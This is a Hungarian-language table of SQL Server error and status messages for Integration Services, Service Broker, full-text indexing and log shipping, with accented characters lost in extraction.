A kvetkezQ mappa mr ltezik, vagy n nem kapott megfelelQ engedlyeket a ltrehozshoz:  %1!s! .

A(z)  %1!s!  engedly nem alkalmazhat  %2!s!  tpus objektumokra. Az engedly megadsa, megtagadsa vagy visszavonsa nem lehetsges.

A hv nem kapott MANAGEPERMISSION engedlyt a megadott objektumra vonatkozan.

Az Integration Services teleptshez az SQL Server %1!s! szksges. A telepts nem vgezhetQ el az SQL Server jelenlegi verzijn. 

A projekt nem tallhat, mert nem ltezik, vagy nnek nincsenek megfelelQ engedlyei.

A mqvelet sikertelen volt, mert a vgrehajts idQtllps miatt megszakadt.

A kvetkezQ mappa trlse sikertelen volt, mert a mappa nem res:  %1!s! . Csak res mappk trlhetQk.

TA megadott %1!s! %2!s! nem ltezik. 

Nem tallhatk rekordok a megadott mqvelethez (azonost: %1!s!).

A kvetkezQ nem egy rvnyes mappanv: %1!s!. Olyan karakterekbQl ll, amelyek nem engedlyezettek.

xA projektbQl hinyzik a megadott krnyezeti hivatkozs.

Hinyoznak az rtkek a csomagban levQ ktelezQ paramterekhez. Az rvnyests megkezdshez adjon meg rtkeket.

4A projektbQl hinyzik egy vagy tbb krnyezeti hivatkozs. Krnyezeti vltozk hasznlathoz adja meg a megfelelQ krnyezeti hivatkozs azonostjt.

<A projekt rendszerbe lltsa sikertelen volt. Tovbbi informcirt krdezze le a kvetkezQ mqveletazonostt az operation_messages nzetbQl:  %1!s! . 

A krnyezeti hivatkozs ltrehozsa sikertelen volt. Ez a projekt mr tartalmaz egy hivatkozst a megadott krnyezetre.

A paramterhez tartoz tulajdonsgrtkek nmelyike hinyzik.

,Sikertelen volt a projekt rendszerbe lltsa a kvetkezQ mappba:  %1!s! . nnek nincsenek megfelelQ engedlyei a projekt rendszerbe lltsra.

Egy vagy tbb vltoz nem tallhat a kvetkezQ krnyezetben:  %1!s! .

A kvetkezQ krnyezeti hivatkozs nincs trstva a projekthez:  %1!s! .

Sikertelen volt a krnyezet ltrehozsa a kvetkezQ mapphoz:  %1!s! . nnek nincsenek megfelelQ engedlyei a krnyezet ltrehozsra.

Az talakts lellt a(z) %1!s! %2!s! adattpusv val talaktsakor.

Csak akkor adhat hozz vagy tvolthat el adatkivezets, ha ltrehoztk a vgrehajtsi llapotot.

A csomagtvonal s az adatfolyam-tvonal azonost karakterlnca mr ltezik a kvetkezQ vgrehajtsi azonosthoz: %1!s!. Olyan csomagtvonalat s adatfolyam-tvonalat azonost karakterlncot adjon meg, amely nem szerepel a catalog.execution_data_taps nzetben.

Az adatfolyam-feladat  %1!s!  GUID-azonostja s az adatfolyam-tvonal azonost karakterlnca mr ltezik a kvetkezQ vgrehajtsi azonosthoz: %2!s!. Olyan adatfolyam-feladathoz tartoz GUID-azonostt s adatfolyam-tvonalat azonost karakterlncot adjon meg, amely nem szerepel a catalog.execution_data_taps nzetben.

<A kvetkezQ adatkivezets nem ltezik, vagy nnek nincs megfelelQ engedlye az eltvoltsra:  %1!s! . Adjon meg egy rvnyes adatkivezets-azonostt.

A sorok szma nem lehet negatv rtk. Adjon meg egy rvnyes rtket.

PA kvetkezQ naplzsi szint nincs definilva:  %1!s! . A kvetkezQ naplzsi szintek egyikt adja meg: 0 (Nincs), 1 (Alapszintq), 2 (Teljestmny), 3 (Rszletes).

TAz Integration Services-kiszolgl nem tallja a kvetkezQ vgrehajtsi azonosthoz tartoz fut folyamatot: %1!s!. Adjon meg egy rvnyes vgrehajtsi azonostt.

A hvnak nincs megfelelQ engedlye a trolt eljrs vgrehajtsra.

Az SSISDB adatbzis nem ltezik. Hozza ltre az SSISDB adatbzist.

Egy Igaz rtkre belltott rzkenysgi tulajdonsg krnyezeti vltoz nem kpezhetQ le olyan paramterre, amelynek rzkenysgi tulajdonsga Hamis bellts. GyQzQdjn meg arrl, hogy a tulajdonsgbelltsok megegyeznek.

<Az Integration Services 64 bites kiadshoz szksges sszetevQk nem tallhatk. Futtassa az SQL Server teleptQjt a szksges sszetevQk teleptshez.

Nem elgsges engedlyek miatt a projekt nem helyezhetQ t a kvetkezQ mappba:  %1!s! .

A vgrehajts megkezdse utn a paramterrtk nem mdosthat.

A vgrehajts megkezdse utn a tulajdonsg nem brlhat fell.

<Az adatbzistag engedlyeket adott meg az adatbzisban levQ katalgusobjektumok szmra, vagy engedlyeket tagadott meg azoktl, ezrt nem lehet eldobni.

lA visszafejtett munkamenetkulcs mrete vratlan.

Srlt zenet rkezett. Az zenet rvnytelen jelzQket tartalmaz. Ez a kvetkezQ adatokkal rendelkezQ zenetben fordult elQ: beszlgets azonostja:  %1!s! , kezdemnyezQ: %2!s!, zenet sorszma: %3!s!.

A Service Broker kezelQje nem indthat el. Opercis rendszerbeli hiba: %1!s!.

BelsQ Service Broker-hiba trtn. Opercis rendszerbeli hiba: %1!s!.

Az zenet nem kzbesthetQ, mert a(z)  %1!s!  mqvelet nem hajthat vgre  %2!s!  llapotban.

Kivtel trtnt egy zenet vrakozsi sorra helyezse sorn. Hiba: %1!s!, llapot: %2!s!. %3!s!

0A felhasznlnak nincs jogosultsga ahhoz, hogy %1!s! mqveletet hajtson vgre a(z)  %2!s!  beszlgetsen,  %3!s!  llapotban. Ezzel az engedllyel csak a sysadmin (rendszergazda) rgztett kiszolgli szerepkr s a db_owner rgztett adatbzis-szerepkr tagjai rendelkeznek.

Srlt zenet rkezett. A ltott zenetek legmagasabb szmnak nagyobbnak kell lennie a nyugtzott zenetek szmnl. Ez a kvetkezQ adatokkal rendelkezQ zenetben fordult elQ: beszlgets azonostja:  %1!s! , kezdemnyezQ: %2!s!, zenet sorszma: %3!s!.

A kvetkezQ beszlgetsler rvnytelen:  {%1!s!-%2!s!-%3!s!-%4!s!%5!s!-%6!s!%7!s!%8!s!%9!s!%10!s!%11!s!} .

A titkostsi API helytelen adatot szlelt a visszafejtsi mqvelet vgrehajtsa sorn.

tAz zenet kzbestse sikertelen, mert benne a nyugtzott zenetek szma rvnytelen. Vrt zenetek legmagasabb szma: %1!s!. Nyugtzott zenetek szma: %2!s!, tredk szma: %3!s!.

Az zenet kzbestse sikertelen, mert az zenet kvetkezQ tulajdonsga lejrt vagy rvnytelen: %1!s!.

A cladatbzis Service Broker sszetevQje nem rhetQ el:  %1!s! .

hA Service Broker felgyeletileg le van tiltva.

XAz adatbzis csak olvashat mdban van.

dAz adatbzis egyfelhasznls zemmdban van.

Az zenet el lett dobva, mert a cladatbzis Service Broker sszetevQje nem rhetQ el:  %1!s! .

Az zenet el lett dobva, mert a cl-Service Broker sszetevQt nem lehet elrni.

pAz adatbzis egy tkrztt adatbzis msodpldnya.

Mikzben a rendszer j zenetelem-GUID azonostt hozott ltre a tovbbtott zenet szmra, a kvetkezQ szm hiba merlt fel: %1!s!.

Nem sikerlt felhasznli jogkivonatot ltrehozni %1!s! felhasznl szmra a kvetkezQ adatbzisban: %2!s!.

Nem sikerlt egy vagy tbb zenetet kzbesteni a prbeszd ltal megclzott helyi szolgltatsnak.

Az adatbzistaghoz (azonost: %1!s!) kttt biztonsgi tanstvny egyelQre nem rvnyes. Vrja meg a tanstvny rvnyess vlst vagy teleptsen egy jelenleg is rvnyes tanstvnyt.

,Az adatbzistaghoz (azonost: %1!s!) kttt biztonsgi tanstvny lejrt. Hozzon ltre vagy teleptsen j tanstvnyt az adatbzistag szmra.

Srlt zenet rkezett. A titkostott hasznos eltols rvnytelen (%1!s!).

Srlt zenet rkezett. Az egyeztetsi krelem fejlce rvnytelen.

Srlt zenet rkezett. Az egyeztetsi vlasz fejlce rvnytelen.

Srlt zenet rkezett. Az zenet nincs titkostva, s a jelenleg belltott vgpontalgoritmus hasznlatval lett alrva. Ez a kvetkezQ adatokkal rendelkezQ zenetben fordult elQ: beszlgets azonostja:  %1!s! , kezdemnyezQ: %2!s!, zenet sorszma: %3!s!.

A munkamenetkulcs nem fejthetQ vissza, mikzben a fQkulcs a jragenerls alatt ll a FORCE kapcsolval.

A Service Broker nem tudta frissteni a(z)  %1!s!  adatbzis beszlgetsimunkamenet-kulcsait titkostott formtumv (hiba: %2!s!). Az adatbzis Service Broker sszetevQje le lett tiltva. Az tvitelszervezQ engedlyezshez az adatbzis fQkulcsra van szksg.

lA Service Broker sszetevQnek hozz kell frnie a(z)  %1!s!  adatbzis fQkulcshoz. Hibakd: %2!s!. A fQkulcsnak lteznie kell, s szksges a szolgltatsi fQkulcs titkostsa.

A kvetkezQ tanstvny nem rvnyes a vgpont-hitelestshez:  %1!s! . A tanstvnynak rendelkeznie kell egy, az adatbzis fQkulcsval titkostott titkos kulccsal, a jelenlegi UTC szerinti dtumnak pedig a tanstvny kezdeti s lejrati dtuma kz kell esnie.

XAz zenet nem kzbesthetQ, mert a(z) %2!s! adatbzis %1!s! felhasznlja nem rendelkezik vezrlQi jogosultsggal ebben a szolgltatsban. Szolgltats neve:  %3!s! .

A Service Broker nem tudta frissteni a beszlgetst az adatbzis-frisstsi mqvelet alatt.

A kapcsolat kzfogsa sikertelen. A fogadott fQkulcs elQtti kulcs mrete (%1!s!) eltr a vrttl (%2!s!). llapot: %3!s!.

Az AES titkostsi algoritmus csak a Windows XP, a Windows Server 2003 s az jabb verzij rendszereken tmogatott.

Srlt zenet rkezett. A szomszdos zenetintegrits-ellenQrzsi alrs rvnyestse sikertelen.

Srlt zenet rkezett. Az alrt prbeszd-zenetfejlc rvnytelen.

Srlt zenet rkezett. Nincs jelen egy szksges vltoz adatmezQ: %1!s!. Ez a kvetkezQ adatokkal rendelkezQ zenetben fordult elQ: beszlgets azonostja:  %2!s! , kezdemnyezQ: %3!s!, zenet sorszma: %4!s!.

Srlt zenet rkezett. Az egyik karakterlnc tpus vltoz adatmezQ nem rvnyes UNICODE-karakterlnc: %1!s! Ez a kvetkezQ adatokkal rendelkezQ zenetben fordult elQ: beszlgets azonostja:  %2!s! , kezdemnyezQ: %3!s!, zenet sorszma: %4!s!.

Srlt zenet rkezett. Az alratlan prbeszd-zenetfejlc rvnytelen. Ez a kvetkezQ adatokkal rendelkezQ zenetben fordult elQ: beszlgets azonostja:  %1!s! , kezdemnyezQ: %2!s!, zenet sorszma: %3!s!.

Srlt zenet rkezett. A biztonsgi prbeszd-zenetfejlc rvnytelen. Ez a kvetkezQ adatokkal rendelkezQ zenetben fordult elQ: beszlgets azonostja:  %1!s! , kezdemnyezQ: %2!s!, zenet sorszma: %3!s!.

Srlt zenet rkezett. A bortk titkostott eltolsa nem egyezik meg a hasznos titkostott eltolssal. Ez a kvetkezQ adatokkal rendelkezQ zenetben fordult elQ: beszlgets azonostja:  %1!s! , kezdemnyezQ: %2!s!, zenet sorszma: %3!s!.

Srlt zenet rkezett. A bortk terhelse nagyobb az zenetnl. Ez a kvetkezQ adatokkal rendelkezQ zenetben fordult elQ: beszlgets azonostja:  %1!s! , kezdemnyezQ: %2!s!, zenet sorszma: %3!s!.

A rendszer vratlan munkamenetkulcsot szlelt a prbeszdzenet titkostsa sorn.

<Slyos hiba trtnt a Service Broker zenettvivQjben (mqvelet: %1!s!): hiba: %2!s!, llapot: %3!s!. Az zenettvitel %4!s! msodperc mlva folytatdik.

A Service Broker zenettvivQje szmra kevs a memria (mqvelet: %1!s!). Az zenettvitel %2!s! msodperc mlva folytatdik.

A Service Broker nem tudta frissteni a kvetkezQ beszlgetslerval (conversation_handle) rendelkezQ beszlgetst:  %1!s! . Hasznlja az END CONVERSATION ... WITH CLEANUP utastst a beszlgets trlshez, majd az tvitelszervezQ engedlyezshez prblja jra. Hasznlja az ALTER DATABASE ... SET ERROR_BROKER utastst az adatbzis sszes beszlgetsnek hibss ttelhez. Hasznlja az ALTER DATABASE ... SET NEW_BROKER utastst az adatbzis sszes beszlgetsnek trlshez.

xA(z)  %1!s!  adatbzistag nem hasznlhat tvoli szolgltatsi ktsben, mert az adatbzistag nem birtokolhat tanstvnyt. A tvoli szolgltatsi ktsek nem trsthatk olyan 1. szerepkrkkel, 2. csoportokkal, illetve 3. tagokkal, amelyek tanstvnyokhoz vagy aszimmetrikus kulcsokhoz vannak hozzrendelve.

Az aktivlt feladat befejezQdtt, mert a hozz kapcsold vrakozsi sor el lett dobva.

Az aktivlt feladat befejezQdtt, mert a vrlista vagy az aktivls le lett tiltva.

Az aktivlt feladat megszakadt, mert a meghvott  %1!s!  trolt eljrs nem hajtotta vgre a RECEIVE mqveletet.

Az aktivlt feladat hiba miatt megszakadt (hiba: %1!s!, llapot: %2!s!). Tekintse meg az ERRORLOG hibanaplt vagy az elQzQ  Broker:Activation  nyomkvetsi esemnyt az aktivlsi trolt eljrs lehetsges kimenetrt.

8A(z)  %1!s!  adatbzistag nem hasznlhat tvoli szolgltatsi ktsben, mert az adatbzistag nem birtokolhat tanstvnyt. Ez a klnleges felhasznl az elQzQ verzikkal val kompatibilits rdekben ltezik, s implicit mdon csatlakoztatott felhasznli smkkal rendelkezik.

Hiba trtnt az elkldtt zeneteknek az tviteli vrakozsi sorrl val trlse sorn. Hiba: %1!s!, llapot: %2!s!. EllenQrizze, hogy nem zrolja-e msik mqvelet az tviteli vrlistt, s hogy az adatbzis elrhetQ-e.

A(z)  %1!s!\%2!s!  felhasznl nem rendelkezik jogosultsggal a krt gyflkapcsolat hibakeresshez.

A ktegelt vgrehajts be lett fejezve a hibakeresQ krsre.

A kiszolglhoz val kapcsoldshoz az SQL Server Management Studio vagy az SQL Server Management Objects (SMO) hasznlatra van szksg.

Lrvnytelen paramterkombincik.

drvnytelen tulajdonsg lett megadva: %1!s!.

A GDM-krelem feldolgozsa sikertelen volt. Rszletek az elQzQ hibazenetben olvashatk.

A GDM nem tudta lefoglalni az zenetet a kommunikcis verem API-jn keresztl.

Teljes szveges rendszernzet vagy STVF nem nyithatja meg a kvetkezQ azonostj adatbzist: %1!s!. 

Teljes szveges rendszernzet vagy STVF nem nyithatja meg a kvetkezQ azonostj felhasznli tblaobjektumot: %1!s!.

A(z) %1!s! teljes szveges indextredk szmra megadott nv rvnytelen.

$Teljes szveges rendszernzet vagy STVF nem nyithatja meg a kvetkezQ azonostj felhasznli tblaobjektum teljes szveges indext: %1!s!.

4A dm_fts_index_keywords, a dm_fts_index_keywords_by_document s a dm_fts_index_keywords_by_property fggvny paramterei nem lehetnek null rtkqek. 

DEz a helyi hiba akkor fordul elQ, amikor a tblartkq fggvnyt (TVF) hvja meg a teljes szveges indexhez val hozzfrshez. A TVF szmra megadott szint szma rvnytelen. Az rvnyes szintszmok 0-tl kezdQdnek, s mindenkppen kisebbek, mint a tmrtett index szintjeinek szma.

\A teljes szveges lekrdezs szmra megadott  %1!s!  argumentum-adattpus rvnytelen. A kvetkezQ adattpusok hasznlata engedlyezett: char, varchar, nchar, nvarchar.

A(z) %1!s! teljes szveges lekrdezsi paramtere rvnytelen.

A nem indexelendQ szavak teljes szveges,  %1!s!  nevq listja nem ltezik, vagy az aktulis felhasznl nem rendelkezik megfelelQ jogosultsgokkal a mqvelet vgrehajtshoz. EllenQrizze, hogy helyesen adta-e meg a lista nevt, valamint azt, hogy a felhasznl rendelkezik-e a Transact-SQL-utasts ltal megkvetelt jogosultsgokkal.

A nem indexelendQ szavak teljes szveges,  %1!s!  nevq listja mr ltezik az aktulis adatbzisban. Kt szlista neve nem lehet ugyanaz. Futtassa jbl az utastst, s adjon meg egyedi listanevet.

A(z)  %1!s!  keressitulajdonsg-lista nem ltezik, vagy nnek nincs megfelelQ engedlye a mqvelet vgrehajtshoz. GyQzQdjn meg arrl, hogy helyesen adta meg a keressitulajdonsg-lista nevt, valamint hogy rendelkezik a Transact-SQL nyelvq utastshoz szksges engedllyel. Az aktulis adatbzis keressitulajdonsg-listinak felsorolst a sys.registered_search_property_lists katalgusnzet hasznlatval jelentheti meg. A Transact-SQL nyelv utastsaihoz szksges engedlyekrQl az SQL Server online knyvek Transact-SQL referencia cmq tmakrben tallhat tovbbi informci.

A(z)  %1!s!  keressitulajdonsg-lista mr ltezik az aktulis adatbzisban. Kt keressitulajdonsg-lista neve nem lehet ugyanaz. Futtassa jbl az utastst, s adjon meg egyedi listanevet. Az aktulis adatbzis keressitulajdonsg-listit a sys.registered_search_property_lists katalgusnzet hasznlatval dertheti ki. 

Nem sikerlt lekrni a folyamatcsatolt a kvetkezQhz:  %1!s! . Ez a kvetkezQ hibt eredmnyezte: 0x%2!s!. Problma merlt fel az llomsvezrlQvel vagy a dmonszqrQ gazdafolyamatval.

Nem sikerlt elindtani a teljes szveges llomsvezrlQt. Hiba: 0x%1!s!.

pA(z)  %1!s!  keressi tulajdonsg nem ltezik, vagy nnek nincs megfelelQ engedlye a mqvelet vgrehajtshoz. GyQzQdjn meg arrl, hogy a helyes keressi tulajdonsgot adta meg, valamint hogy rendelkezik a Transact-SQL nyelvq utastshoz szksges engedllyel. Az aktulis adatbzis keressi tulajdonsgainak felsorolst a sys.registered_search_properties katalgusnzet hasznlatval jelentheti meg. A Transact-SQL nyelv utastsaihoz szksges engedlyekrQl az SQL Server online knyvek Transact-SQL referencia cmq tmakrben tallhat tovbbi informci.

A(z)  %2!s!  adatbzis teljes szveges,  %1!s!  nevq katalgusnak teljes szveges teljes sszefslse nem sikerlt. Hiba: 0x%3!s!.

A nem indexelendQ szavak  %1!s!  nevq listja nem tartalmazza a teljes szveges  %2!s!  szt a kvetkezQ terletibellts-azonostval: %3!s!. Adjon meg egy rvnyes, nem indexelendQ szt s terletibellts-azonostt (LCID) a Transact-SQL-utastsban.

A nem indexelendQ szavak  %1!s!  nevq listja mr tartalmazza a teljes szveges  %2!s!  szt a kvetkezQ terletibellts-azonostval: %3!s!. Adjon meg egy egyedi, nem indexelendQ szt s terletibellts-azonostt (LCID) a Transact-SQL-utastsban.

A nem indexelendQ szavak  %1!s!  nevq listja nem dobhat el, mert azt legalbb egy teljes szveges index hasznlja. Annak megllaptshoz, hogy melyik teljes szveges index hasznl egy bizonyos szlistt, nyerje ki a lista azonostjt a sys.fulltext_indexes katalgusnzet stoplist_id oszlopbl, majd keresse meg ezt az azonostt a sys.fulltext_stoplists katalgusnzet stoplist_id oszlopban. Dobja el a teljes szveges indexet a DROP FULLTEXT INDEX utasts hasznlatval, vagy mdostsa annak szlista-belltst az ALTER FULLTEXT INDEX utastssal. Ezutn prblja meg jra eldobni a nem indexelendQ szavak listjt.

A(z)  %1!s!  keressi tulajdonsg mr ltezik a keressitulajdonsg-listban. Olyan nevet adjon meg a keressi tulajdonsg szmra, amely egyedinek szmt a megadott keressitulajdonsg-listban. Az aktulis adatbzis keressi tulajdonsgait a sys.registered_search_properties katalgusnzet hasznlatval dertheti ki.

A(z)  %1!s!  keressitulajdonsg-lista nem dobhat el, mert azt legalbb egy teljes szveges index hasznlja. Annak megllaptshoz, hogy mely teljes szveges indexek hasznljk a keressitulajdonsg-listt, nyerje ki a keressitulajdonsg-lista azonostjt a sys.registered_search_property_lists katalgusnzet property_list_id oszlopbl, majd nyerje ki az sszes olyan tbla vagy indexelt nzet objektumazonostjt a sys.fulltext_indexes katalgusnzet object_id s property_list_id oszlopbl, amelyek teljes szveges indexe hozz van rendelve ehhez a keressitulajdonsg-listhoz. Minden egyes teljes szveges index esetn tvoltsa el a keressitulajdonsg-listt vagy dobja el a teljes szveges indexet, ha arra tbb nincs szksg. A keressitulajdonsg-lista eltvoltshoz hasznlja az ALTER FULLTEXT INDEX ON <tbla_neve> SET SEARCH PROPERTY LIST OFF; utastst. A teljes szveges index eldobshoz hasznlja a DROP FULLTEXT INDEX ON <tbla_neve>; utastst. 

Az egyik teljes szveges fggvnynek tadott argumentum rvnytelen.

Teljes szveges indexelsi hiba trtnt a tmrts vagy a kibonts sorn. Esetleg srlt a teljes szveges index a lemezen. Futtassa a dbcc checkdatabase utastst, s tltse fel jbl az indexet.

A szqrQdmon gazdagptQl az SQL Server folyamathoz visszarkezQ adatok srltek. Ezt okozhatja egy hibs szqrQ. A rendszer automatikusan jbl megprblja feldolgozni az indexelsi mqvelet ktegt kisebb ktegmret alkalmazsval.

\Nulla hosszsg nem indexelendQ szavak nem vehetQk fel nem indexelendQ szavak teljes szveges listjba. Adjon meg egy egyedi szt, amely legalbb egy karakterbQl ll.

PA felhasznl nem rendelkezik megfelelQ jogosultsggal ahhoz, hogy mdostsa a nem indexelendQ szavak jelenlegi alaprtelmezett listjt:  %1!s! . Az adatbzis alaprtelmezett szlistjnak megvltoztatshoz ALTER engedlyre van szksg az j s a rgi alaprtelmezett szlisthoz egyarnt.

Teljes szveges indexelsi hiba trtnt a tmrts vagy a kibonts sorn. Esetleg srlt a teljes szveges index a lemezen. Futtassa a dbcc checkdatabase utastst, s tltse fel jbl az indexet.

tAz SQL Server a 0x%1!s! szm hibba tkztt, mikzben kommuniklt a teljes szveges dmonszqrQ gazdafolyamatval (FDHost). EllenQrizze, hogy az FDHost folyamat fut-e. Az FDHost folyamat jraindtshoz futtassa az sp_fulltext_service  restart_all_fdhosts  parancsot vagy indtsa jra az SQL Server-pldnyt.

`A felhasznl nem rendelkezik megfelelQ jogosultsggal ahhoz, hogy a nem indexelendQ szavak  %2!s!  nevq listjra vonatkozan a kvetkezQ mqveletet hajtsa vgre: %1!s!. 

BelsQ hiba a teljes szveges szinonimasztrban (HRESULT =  0x%1!s! )

Sem a(z)  %1!s!  terletibellts-azonosthoz (LCID) tartoz, sem pedig a globlis szinonimasztr nem tlthetQ be.

A szinonimafjlok nem tartalmazhatnak 512 Unicode-karakternl hosszabb kifejezseket. Kifejezs:  %1!s! .

dA teljes szveges lekrdezs nagyon sszetett NEAR zradkot tartalmaz a CONTAINSTABLE fggvny CONTAINS prediktumban. Ahhoz, hogy a NEAR zradk sikeresen futhasson, legfeljebb hat kifejezst hasznljon. Az elQtagok vagy ismtlQdQ kifejezsek eltvoltsval egyszerqstse a lekrdezs felttelt.

Hiba trtnt a teljes szveges lekrdezs sorn. A gyakori okok egyebek kztt a kvetkezQk: sztrdelsi hibk vagy idQtllps, az FDHOST engedlyeivel vagy a hozzfrs-vezrlsi listval kapcsolatos problmk, a szolgltatsi fikhoz hinyz jogosultsgok, nem megfelelQen mqkdQ IFilter szqrQk, az FDHost s az sqlservr.exe kztti kommunikcis csatornval kapcsolatos problmk stb.

Nulla hosszsg tulajdonsgok nem vehetQk fel keressitulajdonsg-listba. Adjon meg egy olyan nevet a keressi tulajdonsg szmra, amely legalbb egy karakterbQl ll, s a megadott keressitulajdonsg-listra nzve egyedi. Az aktulis adatbzis keressi tulajdonsgai a sys.registered_search_properties katalgusnzet hasznlatval derthetQk ki. 

Vgzetes hiba trtnt egy teljes szveges feltlts sorn, ami a feltlts megszaktshoz vezetett. Feltlts tpusa: %1!s!; adatbzis neve: %2!s! (azonostja: %3!s!); katalgus neve: %4!s! (azonostja: %5!s!); tbla neve: %6!s! (azonostja: %7!s!). Javtsa ki a teljes szveges bejrs napljba feljegyzett hibkat. Ezt kvetQen folytassa a feltltst. Ehhez a Transact-SQL alapvetQ szintaxisa a kvetkezQ: ALTER FULLTEXT INDEX ON tbla_neve RESUME POPULATION.

A(z) %1!s! adatbzis (azonostja: %2!s!), %3!s! katalgus (azonostja: %4!s!) importlsi feltltse vgzetes hiba ( %5!s! ) miatt megszakts alatt ll. Javtsa ki a teljes szveges bejrs napljba feljegyzett hibkat. Ezt kvetQen folytassa az importlst az adatbzis levlasztsval s jbli csatolsval, vagy az adatbzis offline majd online llapotba helyezsvel. Ha a hiba nem llthat helyre, akkor ptse jra a teljes szveges katalgust.

Az SQL Server nem tudta ltrehozni a teljes szveges FilterData knyvtrat. Ez azrt lehet, mert a FulltextDefaultPath elrsi t rvnytelen, vagy mert az SQL Server szolgltatsfikja nem rendelkezik a megfelelQ jogosultsggal. A teljes szveges BLOB-indexels nem fog mqkdni, amg meg nem oldja ezt a problmt. A problma kijavtsa utn indtsa jra az SQL Server rendszert.

Az SQL Server nem tudta betlteni az FDHost szolgltatscsoport SID azonostjt. Ennek a srlt telepts lehet az egyik oka. 

<Az SQL Server nem tudta belltani az FTData mappban tallhat, teljes szveges FilterData knyvtr biztonsgi adatait. ElQfordulhat, hogy bizonyos dokumentumtpusok teljes szveges indexelse nem fog mqkdni, amg meg nem oldja a problmt. Javtsa meg az SQL Server teleptst.

`Az SQL Server egy korbbi kiadsban a(z)  %2!s!  katalgus feltltshez hasznlt, teljes szveges,  %1!s!  nevq szqrQsszetevQ nem a jelenleg verziszmmal rendelkezik (sszetevQ verziszma:  %3!s! , teljes elrsi t:  %4!s! ). Emiatt elQfordulhat, hogy a keressi tallatok valamennyire klnbznek az elQzQ kiadsoktl. Ennek elkerlshez ptse jra a teljes szveges katalgust a szqrQsszetevQ jelenlegi verzijval.

Az SQL Server egy korbbi kiadsban a(z)  %2!s!  katalgus feltltshez hasznlt, teljes szveges,  %1!s!  nevq szhatrol sszetevQ nem a jelenleg verziszmmal rendelkezik (sszetevQ verziszma:  %3!s! , teljes elrsi t:  %4!s! , krt nyelv: %5!s!, hasznlt nyelv: %6!s!). Emiatt elQfordulhat, hogy a keressi tallatok valamennyire klnbznek az elQzQ kiadsoktl. Ennek elkerlshez ptse jra a teljes szveges katalgust a szhatrol sszetevQ jelenlegi verzijval.

Az SQL Server egy korbbi kiadsban a(z)  %2!s!  katalgus feltltshez hasznlt, teljes szveges,  %1!s!  nevq protokollkezelQ sszetevQ nem a jelenleg verziszmmal rendelkezik (sszetevQ verziszma:  %3!s! , teljes elrsi t:  %4!s! , program azonostja:  %5!s! ). Emiatt elQfordulhat, hogy a keressi tallatok valamennyire klnbznek az elQzQ kiadsoktl. Ennek elkerlshez ptse jra a teljes szveges katalgust a protokollkezelQ sszetevQ jelenlegi verzijval.

A(z)  %2!s!  adatbzis teljes szveges,  %1!s!  nevq katalgusnak teljes sszefslse meg lett szaktva.

A teljes szveges lekrdezs nem hasznlta az OPTIMIZE FOR lekrdezsmutat szmra megadott rtket. Az OPTIMIZE FOR lekrdezsmutatt tartalmaz, teljes szveges lekrdezsek esetn csak nll kifejezsek engedlyezettek. Mdostsa az OPTIMIZE FOR lekrdezsmutat rtkt gy, hogy az egy nll, de nem res kifejezs legyen.

A(z)  %1!s!  tbla teljes szveges feltltst nem lehet elindtani, mert a teljes szveges katalgus jelenleg meglvQ katalgusokbl importl adatokat. Az importlsi mqvelet befejeztvel futtassa jbl a parancsot.

Teljes szveges prediktumok nem szerepelhetnek sszestQ kifejezsben. Helyezze az sszestQ kifejezst egy segdlekrdezsbe.

Teljes szveges prediktumok nem szerepelhetnek a GROUP BY zradkban. Helyezze a GROUP BY zradkot egy segdlekrdezsbe.

lNem hozhat ltre a teljes szveges index, mert a(z)  %1!s!  fjlcsoport nem ltezik vagy a fjlcsoport neve helytelenl lett megadva. Adjon meg rvnyes nevet a fjlcsoportnak.

Teljes szveges lekrdezs feldolgozsa, illetve teljes szveges indexelse vgrehajtsa kzben nem generlhat gyorsttr a nem indexelendQ szavak listjhoz. Nincs elegendQ memria a szlista gyorsttrnak betltshez. Futtassa jbl a lekrdezst vagy az indexelsi parancsot, amikor tbb szabad erQforrs ll rendelkezsre.

pA teljes szveges index ptse kzben a rendszer kifogyott a memribl. A teljes szveges indexelsi mqvelet ktegt a rendszer automatikusan jraprblja kisebb ktegmrettel.

A szqrQdmon gazdagptQl az SQL Server folyamathoz visszarkezQ adatok srltek. Ezt okozhatja egy hibs szqrQ. A rendszer automatikusan jbl megprblja feldolgozni az indexelsi mqvelet ktegt kisebb ktegmret alkalmazsval.

A teljes szveges dmonszqrQ gazdafolyamata (FDHost) rendellenes mdon lellt. Ez olyankor szokott elQfordulni, amikor egy helytelenl konfigurlt vagy rosszul mqkdQ nyelvi sszetevQ   pldul szhatrol, sztQkeresQ vagy szqrQ   helyrellthatatlan hibt okoz a teljes szveges indexels vagy lekrdezsfeldolgozs kzben. A rendszer automatikusan jraindtja a folyamatot.

A nem indexelendQ szavak teljes szveges,  %1!s!  azonostj listja nem ltezik.

Az SQL Server szhatrol gyfelnek inicializlsa sikertelen. Ennek az oka az lehet, hogy a szqrQdmon gazdafolyamata esetlegesen rvnytelen llapotban van. Ez megakadlyozhatja az SQL Server rendszert a kritikus rendszerobjektumok inicializlsban. A teljes szveges lekrdezsek nem fognak mqkdni, amg nem oldja meg ezt a problmt. Prblja meg lelltani az SQL Server rendszert s az sszes dmonszqrQ-gazdafolyamatot, majd indtsa jra az SQL Server-pldnyt.

A teljes szveges indexelse folyamat inicializlsa sikertelen. Ennek az oka az lehet, hogy nincs elg rendszererQforrs a memriafoglalshoz s a feladat-ltrehozshoz. Prblja meg jraindtani az SQL Server-pldnyt.

@Teljes szveges, belsQ hiba

A kvetkezQ munkamenet mr ltezik:  %1!s! . Vlasszon msik nevet a munkamenetnek.

Ezt a mqveletet csak a munkamenet tulajdonosa vgezheti el.

A felhasznlnak nincs jogosultsga a megadott adatbzisok kzl egynek vagy tbbnek a hangolsra.

A tulajdonsg hatkrq, teljes szveges lekrdezsek nem hatrozhatk meg a megadott tblban, mert a tbla teljes szveges indexben nincs belltva a tulajdonsgkeress lehetQsge. A tulajdonsg hatkrq keressek tmogatshoz a teljes szveges indexet hozz kell rendelni egy keressitulajdonsg-listhoz, majd jra fel kell tlteni. A Transact-SQL erre szolgl szintaxisa a kvetkezQ: ALTER FULLTEXT INDEX ON <tbla_neve> SET SEARCH PROPERTY LIST <tulajdonsglista_neve>;.

lA kvetkezQ adatbzis nem ONLINE llapot: %1!s!.

A(z) %1!s! adatbzishoz mr tartozik elsQdleges kiszolgli naplkldQ bejegyzs.

A(z) %1!s! adatbzis nem ltezik elsQdleges naplkldQ kiszolglknt.

,Az elsQdleges %1!s! adatbzis aktv msodlagos naplkldQ adatbzissal/adatbzisokkal rendelkezik. ElQszr dobja el a msodlagos adatbzis(oka)t.

